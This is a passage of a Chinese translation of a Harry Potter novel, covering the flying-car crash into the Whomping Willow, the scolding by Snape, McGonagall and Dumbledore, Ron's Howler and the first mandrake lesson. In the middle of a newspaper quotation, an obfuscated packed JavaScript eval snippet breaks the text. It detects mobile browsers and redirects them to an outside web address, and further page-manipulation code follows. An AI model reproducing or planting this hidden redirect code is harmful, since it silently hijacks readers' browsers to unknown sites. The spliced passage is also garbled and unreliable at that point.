罗恩焦急地看看四周,还有十几个人好奇地注视着他们。“我们要误车了,”罗恩小声说,“我不懂通道为什么自己封上了...”哈利抬头看看大钟,他有些眩晕,觉得仿佛要吐。十秒...九秒...他小心地把车子抵到墙边,使出全身力气一推,隔墙还是纹丝不动。 “完了,”罗恩呆呆地说,“火车开了。如果爸爸妈妈不能过来接我们怎么办?你身上带着麻瓜的钱吗?” 哈利干笑了一声,“德思礼一家六年没给我零花钱了。” 罗恩把耳朵贴到冰冷的隔墙上。“什么声音也没有,”他紧张地说,“我们怎么办呢?不知道爸妈要多久才能回来找我们。”他们朝四周望望,还有一些人在看着他们,这主要是由于海德薇在不停地尖叫。 “我想咱们最好回汽车旁边等着,”哈利说,“这里太招人注——” “哈利!”罗恩眼睛一亮,叫道,“汽车!” “怎么了?”“我们可以开车飞到霍格沃茨!” “可是我想——” “咱们被困住了,对吧?咱们必须赶回学校,是不是?在真正紧急的情况下,小巫师也可以使用魔法的。《限制条例》第十九款还是第几款有规定...” 哈利由惊慌一下子转为兴奋。“你会开吗?” “没问题。”罗恩说着,把小车掉头朝向出口,“快走吧,要是赶一赶,咱们还能跟得上霍格沃茨特快列车。” 他们快步穿过好奇的人群,走出车站,回到停在辅路上的那辆老福特安格里亚车旁边。罗恩用魔杖连点几下,打开了宽敞的行李箱。他们把箱子搬了进去,把海德薇放在后排座位上,然后坐进前排。“看一眼有没有人在注意我们。”罗恩说,又用魔杖一点,发动了汽车。哈利把头伸出窗外:于道上有隆隆行驶的车辆,可他们这条街上空空荡荡的。 “没人。” 罗恩按下仪表板上的一个小小的银色按钮。他们的汽车消失了——他们俩也消失了。哈利能感到座位在震动,能听到引擎的声音,能感到他的双手放在膝盖上,眼镜戴在鼻梁上,他能看到一切。但他自己只剩下了一双眼睛,离地面几英尺,在一条停满汽车的脏兮兮的街道上飘浮。 “起飞。”罗恩的声音在他右边说。两旁的地面和肮脏的建筑物沉落下去,一会儿就看不见了。汽车越升越高,几秒钟后,整个伦敦城展现在他们下方,烟雾蒙蒙,微微地闪着亮光。突然噗的一声,汽车、哈利和罗恩又重新显现了。“唉呀,”罗恩捅着隐形助推器说,“这开关有毛病——” 他们一起猛敲那个按钮。汽车消失了,但很快又闪闪烁烁地现了形。“坐好!”罗恩喊了一声,猛踩油门,他们笔直射入低空棉絮状的云层里,一切都暗淡模糊起来。 “现在怎么办?”哈利问,从四面压过来的云块让他感到有些晃眼。 “我们需要看到火车才能知道往哪个方向走。” 罗恩说。 “还是降下去——快——” 他们重新降到云层下面,扭过身体眯眼向地面搜寻。 “看到了!”哈利喊道,“就在前面——那儿!” 霍格沃茨特快列车像一条红蛇在他们下方疾驰。 “正北,”罗恩对了对仪表板上的罗盘说,“好,我们只要每半小时下来看一眼就行了。坐好...”汽车急速钻入云层。一分钟后,他们就冲进了炫目的阳光中。 这是另一个世界。车轮掠着松软的云海飞行,在耀眼的白日映照下,天空一片明亮蔚蓝,无边无际。 “现在我们只要当心飞机就可以了。”罗恩说。 他们仿佛进入了一个神话般的梦境。哈利想,这无疑是最好的旅行方式:坐在一辆充满阳光的汽车里,在漩涡状、塔林状的白云间穿行,仪表板下面有一大包太妃糖,还可以想象当他们神奇地从天而降,平稳地停在霍格沃茨城堡前的大草坪上时,弗雷德和乔治脸上嫉妒的表情。 他们一直朝北飞,隔一段时间就核对一下火车行驶的方向,每次下降都可以看到一幅不同的景象。伦敦很快被远远地甩在后面,代替它的是平整的绿色田野,然后是广阔的紫色沼泽、一座座村庄,村里的教堂像是小孩子的玩具,接着是一个繁忙的大城市,无数车辆像密密麻麻的彩色蚂蚁。 可是,几小时之后,哈利不得不承认一些乐趣在逐渐消失。太妃糖使他们口渴难当,又没有水喝。他和罗恩都脱掉了罩衣,可哈利的衬衫湿得贴在椅背上,眼镜老往鼻尖上滑。他已经无心欣赏那些云彩的奇幻形状,而想念起数十英里之下的火车来,那里有胖胖的女巫推着小车叫卖冰镇南瓜汁。他们为什么没能进入9又3/4呢? “不会有多远了吧?”又过了一个小时,罗恩声音沙哑地说。太阳开始沉到云层之下,把云海染成一片粉红。“ 再下去看一眼火车好吗?” 火车还在他们下方,正蜿蜒绕过一座白雪覆盖的高山。在云层下面,天色要暗得多。 罗恩踩住油门,又向上升去,可是引擎开始发出哀鸣。 哈利和罗恩不安地面面相觑。 “也许它只是累了,”罗恩说,“它从来没走过这么远...” 随着天空越来越暗,哀鸣声也越来越响,他们都假装没有注意。夜幕中亮起了点点繁星,哈利穿上罩衣,尽量装作没看见挡风玻璃上的雨刷在无力地摆动,好像是一种抗议。 “不远了,”罗恩更像是对汽车而不是对哈利说,“现在不远了。”他紧张地拍了拍仪表板。过了一会儿,他们又飞到云层之下,眯起眼在黑暗中寻找一个熟悉的地面目标。 “那儿!”哈利喊道,把罗恩和海德薇都吓了一跳,“就在前面!” 在黑暗的地平线上,在湖对面高高的悬崖顶端,耸立着霍格沃茨城堡的角楼和高塔的剪影。 可是汽车开始颤抖并逐渐减速。 “帮帮忙,”罗恩好言好语地哄劝着,并轻轻摇了摇方向盘,“差不多到了,帮帮忙——” 引擎呻吟着,引擎罩下喷出股股蒸气。他们朝湖上飞去时,哈利不禁攥紧了座椅边沿。 汽车剧烈地摇晃了一下。哈利瞥了一眼窗外,看见了一英里之下平静漆黑、光滑如镜的水面。罗恩握着方向盘的手指节都发白了。汽车又摇晃起来。 “帮帮忙。”罗恩喃喃道。 他们飞过湖面...城堡就在前头..罗恩踩下油门。 哐啷一响,接着噼啪一声,引擎彻底熄火了。 “哎呀。”罗恩在一片寂静中说。 车头朝下一倾,他们开始坠落,速度越来越快,直朝着城堡的围墙撞去。 “不——!”罗恩大喊,拼命转动方向盘。汽车拐了一个大圆弧,擦墙而过,飞过黑暗的温室、菜地,飞到外面黑色的草坪上方,一直在坠落。 罗恩干脆放开方向盘,从背后的衣袋里拔出魔杖。 “停下!停下!”他抽打着仪表板和挡风玻璃高喊,可是他们还在快速下落,地面向他们扑来...“当心那棵树!”哈利大叫,扑过去抓方向盘,可是太晚了——咔啦啦。 一阵金属与树木撞击的巨响,他们撞在了粗大的树干上,落到地上,车身勐地一震。变了形的引擎盖下面冒出滚滚蒸气;海德薇在惊恐地尖叫;哈利的头撞到了挡风玻璃上,鼓起一个高尔夫球那么大的肿包;罗恩在他右边绝望地低声呻吟。 “你没事吧?”哈利着急地问。 “我的魔杖,”罗恩声音颤抖着说,“看看我的魔杖。” 它几乎断成了两截,上端搭拉下来,只有几丝木片连着。 哈利刚想说到了学校一定能把它修好,可是还没有来得及说出口,什么东西撞上了他这面的车身。那股力量大得像一头勐冲的公牛,把他撞得倒向罗恩,这时车顶又被同样重重地撞了一下。 “怎么回——?” 罗恩倒吸一口冷气,盯着挡风玻璃;哈利转过头,刚好看见一条像蟒蛇那么粗的树枝撞到玻璃上。是车子撞到的那棵树在袭击他们。它的树干弯成弓状,多节的树枝狠揍着车身上它能够到的每一块地方。 “啊——!”罗恩叫道,又一根扭曲的粗枝把他的车门砸了一个大坑,无数手指关节般粗细的小树枝发动了雹子般的猛烈敲击,震得挡风玻璃瑟瑟颤抖,一根有攻城槌那么粗的树枝正在疯狂地捣着车顶,车顶好像要凹陷下来了——“快跑!”罗恩大喊一声,使出浑身力气推门。可是就在这时,另一根树枝给了他一记狠毒的上钩拳,把他打得跌倒在哈利的腿上。 “我们完了!”他看着车顶塌陷下来,呻吟道。可是车底突然震动起来——引擎重新发动了。 “倒车!”哈利大喊,汽车嗖地朝后退去。那棵树还想打他们,拼命用枝条朝迅速逃离的车子抽来。它弯着身子向前够着,几乎把树干都要撕裂了。他们能听见树根在嘎吱作响。 “妈呀,真悬哪。”罗恩气喘吁吁地说,“好样的,汽车。” 可是,汽车的忍耐已经到了极限。嘭嘭两声,车门弹开,哈利感到座椅朝旁边一歪,还没弄清是怎么回事,他已经趴在潮湿的土地上了。重重的响声告诉他汽车把他们的行李也抛出来了。海德薇的笼子飞到空中,笼门开了;它飞出来,愤怒地高叫一声,头也不回地朝城堡飞去。然后,汽车带着遍体的伤痕和大坑,冒着蒸气,隆隆驶进黑暗中,尾灯还在愤怒地闪耀着。 “回来!”罗恩挥舞着破魔杖在它后面喊,“爸爸会杀了我的!” 可是汽车的排气管最后喷了一口气,消失在视线之外。 “你能相信有这么倒霉的运气吗?”罗恩苦着脸说,俯身抱起他的老鼠斑斑,“那么多的树,咱们偏偏撞上了会打人的那棵。” 他回头看着那棵古树,它还在威胁地挥动着它的枝条。 “走吧,”哈利疲惫地说,“咱们最好进学校去...” 完全不是他们原先想象的胜利抵达,他们四肢僵硬,身上又冷又痛。他们抓起摔破的箱子,开始往草坡上拖,朝着那两扇栎木大门走去。 “我想宴会已经开始了。”罗恩把他的箱子丢在台阶脚下,悄悄走到一扇明亮的窗户前,向里面窥视。“嘿,哈利,快来看——在分院呢!” 哈利赶过去,和罗恩一起往大礼堂里看。 无数根蜡烛停在半空中,照着四张围满了人的长桌子,照得那些金色的盘子和高脚杯闪闪发光。 天花板上群星璀璨,这天花板是被施了魔法的,永远能够反映出外面的天空。 越过一片密密麻麻的黑色尖顶霍格沃茨帽,哈利看到新生们排着长队提心吊胆地走进礼堂。金妮也在其中,她那头韦斯莱家特有的红发十分显眼。与此同时,戴着眼镜、头发紧紧地束成一个小圆髻的麦格教授,把那顶著名的霍格沃茨分院帽放在新生面前的凳子上。 每年,这顶打着补丁、又脏又破的旧帽子把新生分到霍格沃茨的四个学院(格兰芬多、赫奇帕奇、拉文克劳和斯莱特林)。哈利清楚地记得一年前他戴上这顶帽子时的情形:他惶恐地听着它在耳边嘀嘀咕咕,等待它做出决定。有几秒钟,他恐惧地以为帽子要把他分到斯莱特林,这个学院出的黑巫师比其他学院都多——可后来他被分到了格兰芬多,和罗恩、赫敏和韦斯莱兄弟在一起。上学期,哈利和罗恩为格兰芬多赢得了学院杯冠军,这是他们学院七年来第一次打败斯莱特林。 一个非常瘦小的灰头发男孩被叫到前面,戴上了分院帽。哈利的目光移到了坐在教师席上观看分院仪式的邓布利多校长身上,他银白的长须和半月形的眼镜在烛光下闪闪发亮。再过去几个座位,哈利看到了穿一身水绿色长袍的吉德罗·洛哈特。最顶头坐着虎背熊腰、须发浓密的海格,正举着杯子大口地喝酒。 “等等...”哈利低声对罗恩说,“教师席上有一个位子空着...斯内普哪儿去了?” 西弗勒斯·斯内普教授是哈利最不喜欢的老师,而哈利碰巧又是斯内普最不喜欢的学生。斯内普为人残忍刻薄,除了他自己学院(斯莱特林)的学生以外,大家都不喜欢他。他教授的是魔药学。 “也许他病了!”罗恩满怀希望地说。 “也许他走了,”哈利说,“因为他又没当上黑魔法防御术课教师!” “也许他被解雇了!”罗恩兴奋地说,“你想,所有的人都恨他——” “也许,”一个冰冷的声音在他们背后说,“他在等着听你们两个说说,为什么没坐校车来。” 哈利一转身,西弗勒斯·斯内普就站在眼前,黑袍子在凉风中抖动着。他身材枯瘦,皮肤灰黄,长着一个鹰钩鼻,油油的黑发披到肩上。此刻他脸上的那种笑容告诉哈利,他和罗恩的处境非常不妙。 “跟我来。”斯内普说。 哈利和罗恩都不敢看他,跟着斯内普登上台阶,走进点着火把的空旷而有回声的门厅。从大礼堂飘来了食物的香味,可是斯内普带着他们离开了温暖和光明,沿着狭窄的石梯下到了地下教室里。 “进去!”他打开阴冷的走廊上的一扇房门,指着里面说道。 他们哆嗦着走进斯内普的办公室。四壁昏暗,沿墙的架子上摆着许多大玻璃罐,罐里浮着各种令人恶心的东西,哈利此刻并不想知道它们的名字。壁炉空着,黑洞洞的。斯内普关上门,转身看着他们俩。 “啊,”他轻声说,“着名的哈利·波特和他的好伙伴韦斯莱嫌火车不够过瘾,想玩个刺激的,是不是?” “不,先生,是国王十字车站的隔墙,它——” “安静!”斯内普冷冷地说,“你们对汽车做了什么?” 罗恩张口结舌。斯内普又一次让哈利感到他能看穿别人的心思。可是不一会儿疑团就解开了,斯内普展开了当天的《预言家晚报》。 “你们被人看见了,”他无情地说,并把报上的标题给他们看:福特安格里亚车会飞,麻瓜大为惊诧。他高声念道:“伦敦两名麻瓜确信他们看到了一辆旧轿车飞过邮局大楼...中午在诺福克,赫蒂贝利斯夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338707|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晒衣服时...皮伯斯的安格斯弗利特先生向警察报告...一共有六七个麻瓜。我记得你父亲是在禁止滥用麻瓜物品司工作吧?”他抬眼看着罗恩,笑得更加险恶。“哎呀呀...他自己的儿子...” 哈利感到他的腹部好像被那棵疯树的大枝猛抽了一下。要是有人发现韦斯莱先生对汽车施了魔法...他没有想过这一点... “我在检查花园时发现,一棵非常珍贵的打人柳似乎受到了很大的损害。”斯内普继续说。 “那棵树对我们的损害比——”罗恩冲口而出。 “安静!”斯内普再次厉声呵斥。“真可惜,你们不是我学院的学生,我无权作出开除你们的决定。我去把真正拥有这个让人愉快的特权的人找来。你们在这儿等着。”哈利和罗恩脸色苍白地对望着。哈利不再觉得饿了,他感到非常不舒服,尽量不去看斯内普桌后架子上那个悬浮在绿色液体里的黏糊糊的大东西。如果斯内普把麦格教授找来,也好不到哪儿去。她可能比斯内普公正一点儿,可是同样严厉得要命。 十分钟后,斯内普回来了,旁边果然跟着麦格教授。哈利以前看见麦格教授发过几回火,可也许是他忘了她发火时嘴唇抿得多紧,也许是他从来没见过她像现在这样生气。总之,麦格教授的模样令哈利觉得陌生。她一进屋就举起了魔杖,哈利和罗恩都退缩了一下,可她只是点了一下空空的壁炉,炉里立即燃起了火苗。 “坐。”她说,他们俩都退到炉边的椅子上。 “解释吧。”她的眼镜片不祥地闪烁着。 罗恩急匆匆地讲起来,从车站的隔墙不让他们通过说起。 “...我们没有别的办法,老师,我们上不了火车。” “为什么不派猫头鹰送信给我们呢?我相信你是有一只猫头鹰的吧?”麦格教授冷冷地对哈利说。哈利张口结舌。经她一提,用猫头鹰送信好像是很容易想到的办法。 “我——我没想——” “那是很容易想到的。”麦格教授说。 有人敲门,斯内普过去开门,脸上的表情更加愉快了。门外站着他们的校长,邓布利多教授。 哈利全身都麻木了。邓布利多的表情异常严肃,目光顺着他的弯鼻梁朝下看着他们。哈利突然希望他和罗恩还在那里遭受打人柳的殴打。长久的沉默。然后邓布利多说:“请解释你们为什么要这么做。” 他要是大声嚷嚷还好一些,哈利真怕听他那种失望的语气。不知为什么,他不能正视邓布利多的眼睛,只好对着他的膝盖说话。他把一切都告诉了邓布利多,只是没提那辆车是韦斯莱先生的,好像他和罗恩是碰巧发现车站外有一辆会飞的汽车的。他知道邓布利多一眼就会看穿,但邓布利多没有问汽车的问题。哈利讲完后,他只是继续透过眼镜盯着他们。 “我们去拿东西。”罗恩绝望地说。 “你在说什么,韦斯莱?”麦格教授喊道。 “我们被开除了,是不是?”罗恩说。 哈利赶紧去看邓布利多。 “今天没有,韦斯莱先生,”邓布利多说,“但我必须让你们感到自己行为的严重性,我今晚就给你们家里写信。我还必须警告你们,要是再有这样的行为,我就只能开除你们了。” 斯内普的表情,就好像是听说圣诞节被取消了一样。他清了清喉咙,说:“邓布利多教授,这两个学生无视限制未成年巫师使用魔法的法令,对一棵珍贵的古树造成了严重的破坏...这种性质的行为当然...” “让麦格教授来决定对这两个学生的惩罚,西弗勒斯,”邓布利多平静地说,“他们是她学院里的学生,应当由她负责。”他转向麦格教授,“我必须回到宴会上去了,米勒娃,我要宣布几个通知。来吧,西弗勒斯,有一种蛋奶果馅饼看上去很不错,我想尝一尝。” 斯内普恶狠狠地瞪了哈利和罗恩一眼,被拉出了办公室。屋里只剩下他们俩和麦格教授。她仍然像愤怒的老鹰一样盯着他们。 “你最好去趟医务室,韦斯莱,你在流血。” “没什么。”罗恩赶紧用衣袖擦擦眼睛上的伤口,“老师,我想看看我妹妹的分院仪式——” “分院仪式已经结束了。”麦格教授说,“你妹妹也在格兰芬多。” “哦,太好了。”罗恩说。 “提起格兰芬多——”麦格教授严厉地说,可哈利插了进来:“老师,我们坐上汽车的时候还没有开学,所以——所以不应该给格兰芬多扣分,对不对?”他说完了,急切地看着她。 麦格教授严厉地看了他一眼,可是他认为她似乎有了点笑容。反正,她的嘴唇不再抿得那么紧了。 “我不会给格兰芬多扣分的。”她说,哈利心里轻松了许多,“但要把你们关在这里。” 这比哈利预料的好多了。至于邓布利多写信给德思礼夫妇,那完全没有关系。哈利知道他们只会遗憾打人柳没有把他揍扁。 麦格教授又举起魔杖,朝斯内普的桌子一指,桌上出现了一大盘三明治、两只银杯子和一壶冰镇南瓜汁。 “你们就在这里吃,然后直接回宿舍。”她说,“我也必须回宴会上去了。” 门关上后,罗恩轻轻吹了一声长长的口哨。 “我以为咱们要倒霉了。”他抓起一块三明治说。 “我也是。”哈利也抓了一块。 “可你能相信咱们的运气这么背吗?”罗恩嘴里塞满了鸡肉和火腿,含糊地说,“弗雷德和乔治肯定飞过五六次了,没有一个麻瓜看见。”他把嘴里的食物咽了下去,又咬了一大口。“咱们为什么过不了那堵墙?” 哈利耸耸肩。“不过,咱们以后可得注意点儿了,”他轻松地痛饮了一口南瓜汁说,“真希望能到宴会上去...” “她不想让咱们去炫耀,”罗恩明智地说,“不想让别人觉得,开一辆会飞的汽车来上学是一件很光彩的事。” 他们吃到肚皮里实在装不下了(因为盘里的三明治一吃掉马上会自动添满),然后离开办公室,踏着熟悉的小径走向格兰芬多塔楼。城堡里静悄悄的,宴会好像结束了。他们走过自言自语的肖像和嘎吱作响的盔甲,爬上一段窄窄的石阶,来到了格兰芬多塔楼秘密入口的走廊上,那个入口藏在一幅油画后面,画上有一位穿着粉红色绸衣的胖夫人。 “口令?”他们走近时,胖夫人问。 “哦——”哈利答不上来。 他们还没有碰到一位格兰芬多的级长,所以不知道新学年的口令,但救星几乎马上就到了。他们听见身后有急促的脚步声,回头一看,是赫敏朝他们奔来。 “你们俩在这儿!你们上哪儿去了?大家都在纷纷议论,说法可荒唐了——有人说你们开了一辆会飞的汽车,被学校开除了。” “我们没被开除。”哈利安慰她说。 “你难道是说你们真是飞来的?”赫敏的口气几乎和麦格教授一样严厉。 “别给我们上课了,”罗恩不耐烦地说,“把口令告诉我们吧。” “口令是‘食蜜鸟’,”赫敏不耐烦地说,“可问题不在这儿——” 但是她的话被打断了,胖夫人的肖像应声旋开,里面爆发出一阵雷鸣般的掌声。好像格兰芬多院的同学们都还没睡,全挤在圆形的公共休息室里等着他们。好多双手从洞口伸出来,把哈利和罗恩拉了进去,赫敏只好自己爬进去。 “太妙了!”李·乔丹高呼,“真了不起!多精彩的方式!开着会飞的汽车撞到打人柳上,人们会议论很多年的!” “好样的,”一个从来没和哈利讲过话的五年级学生说;有人拍着哈利的后背,好像他刚获得了马拉松第一名似的;弗雷德和乔治挤到跟前,一起问:“为什么不把我们叫回去呢?”罗恩满面通红,难为情地笑着,但哈利看得出有一个人一点儿也不高兴。珀西站在一些兴奋的新生身后,似乎正要挤过来数落他们。哈利捅了捅罗恩的肋部,把头朝珀西那边一点,罗恩立刻会意。 “要上楼去了——有点儿累。”他说。两人朝房间另一头的门口挤去,门外有螺旋式楼梯通到他们的卧室。“晚安。”哈利回头对赫敏喊道,她和珀西一样绷着脸。 他们终于挤到了休息室的另一头,这时还有人在拍着他们的后背。门外是僻静的楼梯,两人一口气跑上楼,来到他们的旧宿舍门前,门上现在有一块牌子写着“二年级”。他们走进熟悉的圆形房间,重新看到了那五张装饰着红天鹅绒的四柱床,以及那几扇又高又窄的窗子。他们的箱子已经搬上来了,就放在床头。 罗恩惭愧地朝哈利笑着。“我知道我不应该觉得得意,可是——”宿舍门一下开了,另外几个格兰芬多的二年级男生冲了进来,他们是西莫·斐尼甘、迪安·托马斯和纳威·隆巴顿。“真不敢相信!”西莫眉开眼笑。 “酷。”迪安说。 “太惊人了。”纳威敬佩地说。 哈利再也忍不住。他也笑了。 25. 吉德罗·洛哈特 可是第二天,哈利几乎一天都没露过笑容。从早晨在大礼堂吃早饭起,境况就开始走下坡路了。在施了魔法的天花板下(今天它是阴天的灰色),四个学院的长桌子上摆着一碗碗的粥、一盘盘的腌鲱鱼、堆成小山的面包片和一碟碟鸡蛋和咸肉。哈利和罗恩在格兰芬多的桌子前坐下,旁边是赫敏,她的《与吸血鬼同船旅行》摊开搁在一个牛奶壶上。她说“早上好”时有一点生硬,哈利知道她仍然对他们来校的方式怀有不满。纳威·隆巴顿却兴高采烈地和他们打了个招呼。纳威是一个老爱出事故的圆脸男孩,哈利从没见过记性像他这么坏的人。 “邮差马上就要到了——我想奶奶会把几样我忘带的东西寄来的。” 哈利刚开始喝粥,果然听见头顶上乱哄哄的。上百只猫头鹰拥了进来,在礼堂中盘旋,把信和包裹丢到正在交谈的人群中。一个鼓鼓囊囊的大包裹掉到纳威的头上,紧接着,又有一个灰乎乎的大家伙掉进了赫敏的壶里。顿时,牛奶和羽毛溅了他们一身。 “埃罗尔!”罗恩喊道,提着爪子把那只湿漉漉的猫头鹰拉了出来。埃罗尔昏瘫在桌上,两条腿伸在空中,嘴里还叼着一只打湿了的红信封。 “哦,不——”罗恩失声叫道。 “没事的,他还活着。”赫敏说,轻轻用指尖戳了戳埃罗尔。 “不——是那个。”罗恩指着红信封。那信封在哈利看来很平常,可是罗恩和纳威却好像觉得它会爆炸似的。 “怎么啦?”哈利问道。 “她——妈妈给我寄了一封吼叫信。”罗恩有气无力地说。 “你最好打开它,罗恩,”纳威害羞地小声说,“不打开更糟糕。奶奶给我寄过一回,我没理它,结果——”他吸了口气, “太可怕了。” 哈利看着他们惊恐的神色,又望望那只红信封。 “什么是吼叫信?”他问。 可是罗恩的注意力全都集中在信上,信封的四角已经开始冒烟。 “快打开,”纳威催促着,“只有几分钟...” 罗恩伸出颤抖的手,小心翼翼地从埃罗尔嘴里取出那只信封,把它撕开了。纳威用手指堵住了耳朵,哈利马上就知道为什么了。一开始他以为是爆炸了,巨大的响声充满整个礼堂,把天花板上的灰尘都震落了下来。 “...偷了汽车,他们要是开除了你,我一点儿都不会奇怪,看我到时候怎么收拾你。你大概压根儿就没想过,我和你爸爸发现车子没了时是什么心情...” 是韦斯莱夫人的喊声,比平常响一百倍,震得桌上的盘子和勺子格格直响,四面石墙的回声震耳欲聋。全礼堂的人都转过身来看是谁收到了吼叫信,罗恩缩在椅子里,只能看到一个通红的额头。 “昨晚收到邓布利多的信,你爸爸羞愧得差点儿死掉。我们辛辛苦苦把你拉扯大,没想到你做出这样的事,你和哈利差点丢了小命...”哈利一直在听着他的名字什么时候冒出来。他竭力装作没听见那撞击耳鼓的声音。 “...太气人了,你爸爸在单位将受到审查,这都是你的错。你要是再不循规蹈矩,我们马上把你领回来!” 吼声停止了,耳边还在嗡嗡作响。已从罗恩手中掉到地上的红信封燃烧起来,卷曲着变成了灰烬。哈利和罗恩呆呆地坐着,好像刚被海潮冲刷过一样。有几个人笑了笑,说话声又渐渐响起。 赫敏合上《与吸血鬼同船旅行》,低头看着罗恩的脑袋。 “嗯,难道你还指望会是别的什么,罗恩,要知道你——” “别对我说我是活该。”罗恩没好气地说。 哈利推开粥碗,内疚得吃不下去。韦斯莱先生要接受审查了,暑假里他们夫妇对他那么好...然而他没有时间多想,麦格教授在沿着格兰芬多的桌子发课程表。哈利拿到了他的课程表,头一节是草药课,和赫奇帕奇的学生们一起上。 哈利、罗恩和赫敏一同出了城堡,穿过菜地向温室走去,那里培育着各种有魔力的植物。吼叫信至少做了一件好事:赫敏似乎觉得他们已经受了足够的惩罚,现在她又像从前那样友好了。 他们走近温室,看到其他同学都站在外面,等着斯普劳特教授。哈利、罗恩和赫敏刚加入进去,就看见斯普劳特教授大步从草坪上走来,身边跟着吉德罗·洛哈特。斯普劳特教授的手臂上搭着很多绷带,哈利远远望见那棵打人柳的几根树枝用绷带吊着,心中又是一阵歉疚。 斯普劳特教授是一位矮墩墩的女巫,飘拂的头发上扣了一顶打补丁的帽子,衣服上总沾着不少泥土,若是佩妮姨妈看见她的指甲,准会晕过去。可吉德罗·洛哈特却从头到脚一尘不染,飘逸的青绿色长袍,闪光的金发上端端正正地戴着一顶青绿色带金边的礼帽。 “哦,你们好!”洛哈特满面春风地朝着学生们喊道,“刚才给斯普劳特教授示范了一下怎样给打人柳治伤!但我不希望你们以为我在草药学方面比她在行!我只不过在旅行中碰巧见过几棵这种奇异的植物...” “今天到第三温室!”斯普劳特教授说。她明显地面带愠色,一反往常愉快的风度。 学生们很感兴趣地小声议论着。他们只进过第一温室——第三温室里的植物更有趣,也更危险。斯普劳特教授从腰带上取下一把大钥匙,把门打开了。哈利闻到一股潮湿的泥土和肥料的气味,其中夹杂着浓郁的花香。那些花有雨伞那么大,从天花板上垂挂下来。他正要跟着罗恩和赫敏一起进去,洛哈特一把拦住了他。 “哈利!我一直想跟你谈谈——斯普劳特教授,他迟到两分钟您不会介意吧?”从斯普劳特教授的脸色看,她是介意的。可是洛哈特说,“那太好了。”就对着她把温室的门关上了。 “哈利,”洛哈特摇着头,洁白的大牙齿在阳光下闪闪发亮,“哈利呀,哈利呀,哈利。”哈利完全摸不着头脑,没有答腔。“当我听说——哦,当然,这都是我的错。我真想踢自己几脚。” 哈利不知道他在说什么。他正要表示疑问,洛哈特又接下去说,“我从来没有这么吃惊过。开汽车飞到霍格沃茨!当然,我马上就知道你为什么这么做了,一目了然。哈利呀,哈利呀,哈利。” 真奇怪,他不说话的时候居然也能露出每一颗晶亮的牙齿。 “我让你尝到了出名的滋味,是不是?”洛哈特说,“使你上了瘾。你和我一起上了报纸第一版,就迫不及待地想再来一次。” “哦——不是的,老师,我——” “哈利呀,哈利呀,哈利,”洛哈特伸手抓住他的肩膀,“我理解,尝过一回就想第二回,这是很自然的——我怪自己让你尝到了甜头,这必然会冲昏你的头脑——但是,年轻人,你不能现在就开车在天上飞,企图引起人们的注意。冷静下来,好吗?等你长大以后有的是时间。是啊,是啊,我知道你在想什么!‘他说得倒轻巧,他反正已经是国际知名的大巫师了!’可是我十二岁的时候,和你现在一样平凡。实际上,应该说比你还要平凡。我是说,已经有一些人知道你了,对不对?以及那个‘连名字都不能提的人’有关的事情!”他看了一眼哈利额上那道闪电形伤疤。“我知道,我知道,这还比不上连续五次荣获《巫师周刊》最迷人微笑奖来得风光,但这是个开始,哈利,是个开始。” 他亲切地朝哈利眨了眨眼,迈着方步走开了。哈利呆立了几分钟,然后想起他应该到温室去,就推门悄悄溜了进去。 斯普劳特教授站在温室中间的一张搁凳后面。凳子上放着二十来副颜色不一的耳套。哈利在罗恩和赫敏旁边坐下时,老师说:“我们今天要给曼德拉草换盆。现在,谁能告诉我曼德拉草有什么特性?” 赫敏第一个举起了手,这是在大家意料之中的。 “曼德拉草,又叫曼德拉草根,是一种强效恢复剂,”赫敏好像把课本吃进了肚里似的,非常自然地说,“用于把被变形的人或中了魔咒的人恢复到原来的状态。” “非常好,给格兰芬多加十分。”斯普劳特教授说,“曼德拉草是大多数解药的重要组成部分。但是它也很危险。谁能告诉我为什么吗?” 赫敏的手又刷地举了起来,差一点儿打掉哈利的眼镜。 “听到曼德拉草的哭声会使人丧命。”她脱口而出。 “完全正确,再加十分。”斯普劳特教授说,“大家看,我们这里的曼德拉草还很幼小。” 她指着一排深底的盘子说。每个人都往前凑,想看得清楚一些。那儿排列着大约一百株绿中带紫的幼苗。哈利觉得它们没什么特别的,他根本不知道赫敏说的曼德拉草的“哭声”是什么意思。 “每人拿一副耳套。”斯普劳特教授说。 大家一阵哄抢,谁都不想拿到一副粉红色的绒毛耳套。 “我叫你们戴上耳套时,一定要把耳朵严严地盖上,”斯普劳特教授说,“等到可以安全摘下耳套时,我会竖起两只拇指。好——戴上耳套。” 哈利迅速照办,一下子外面的声音都听不见了。斯普劳特教授自己戴上一副粉红色的绒毛耳套,卷起袖子,牢牢抓住一丛草叶,使劲把它拔起。哈利发出一声没有人听得到的惊叫。从土中拔出的不是草根,而是一个非常难看的婴儿,叶子就生在他的头上。他的皮肤是浅绿色的,上面斑斑点点。这小家伙显然在扯着嗓子大喊大叫。 斯普劳特教授从桌子底下拿出一只大花盆,把曼德拉草娃娃塞了进去,用潮湿的深色堆肥把他埋住,最后只有丛生的叶子露在外面。她拍拍手上的泥,朝他们竖起两只大拇指,然后摘掉了自己的耳套。 “我们的曼德拉草还只是幼苗,听到他们的哭声不会致命。”她平静地说,好像她刚才只是给秋海棠浇了浇水那么平常。“但是,它们会使你昏迷几个小时,我想你们谁都不想错过开学的第一天,所以大家干活时一定要戴好耳套。等到该收拾东西的时候,我会设法引起你们注意的。” “四个人一盘——这儿有很多花盆——堆肥在那边的袋子里——当心毒触手,它在出牙。”她在一棵长着尖刺的深红色植物上猛拍了一下,使它缩回了悄悄伸向她肩头的触手。 哈利、罗恩、赫敏和一个满头鬈发的赫奇帕奇男孩站在一个盘子旁,哈利觉得他眼熟,但从来没有跟他说过话。“我叫贾斯廷·芬列里,”他欢快地说,使劲摇着哈利的手,“当然认识你,着名的哈利·波特...你是赫敏·格兰杰——永远是第一...”(赫敏的手也被摇了一气,她甜甜地笑了)“还有罗恩·韦斯莱,那辆飞车是你的吧?” 